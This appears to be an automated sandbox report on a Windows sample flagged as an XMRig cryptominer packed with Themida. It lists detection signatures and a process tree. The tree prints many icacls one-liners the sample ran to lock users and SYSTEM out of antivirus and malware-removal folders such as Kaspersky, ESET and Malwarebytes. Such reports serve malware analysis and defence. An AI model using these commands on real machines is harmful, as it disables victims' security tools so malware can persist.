Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
13/08/2026, 15:24
General
- Target 2026-08-13_45d31a3e61ff3b76b04cdc1d02f79aef_agent-tesla_amadey_icedid_njrat_vidar.exe
- Size 16.0MB
- Sample260813-stchvsshqf
- SHA256 3594f59bc31281767fe06f195b23ad2bd80fe9f065c50f5d885d38ba7db04a67
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs
- XMRig Miner payload 2 IoCs
- Detects executables packed with Themida 9 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Executes dropped EXE 4 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- AutoIT Executable 6 IoCs
AutoIT scripts compiled to PE executables.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Drops file in Program Files directory 38 IoCs
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- NTFS ADS 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-13_45d31a3e61ff3b76b04cdc1d02f79aef_agent-tesla_amadey_icedid_njrat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-13_45d31a3e61ff3b76b04cdc1d02f79aef_agent-tesla_amadey_icedid_njrat_vidar.exe"1⤵
- Modifies visibility of hidden/system files in Explorer
- Drops file in Program Files directory
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /flushdns2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\gpupdate.exegpupdate /force3⤵
-
-
-
C:\ProgramData\Setup\Packs.exeC:\ProgramData\Setup\Packs.exe -ppidar2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls C:\KVRT_Data /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls C:\FRST /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Evernote" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\WavePad" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\RobotDemo" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\PuzzleMedia" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\ESET" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\FingerPrint" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\BookManager" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Panda Security" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\Transmission" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files (x86)\Transmission" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files\Transmission" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files\Transmission" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Hacker 2" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Hacker 2" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\princeton-produce" /deny "%username%":(OI)(CI)(F)2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\princeton-produce" /deny "Admin":(OI)(CI)(F)3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\EnigmaSoft" /deny "%username%":(OI)(CI)(F)2⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\EnigmaSoft" /deny "Admin":(OI)(CI)(F)3⤵
- Modifies file permissions
-
-
-
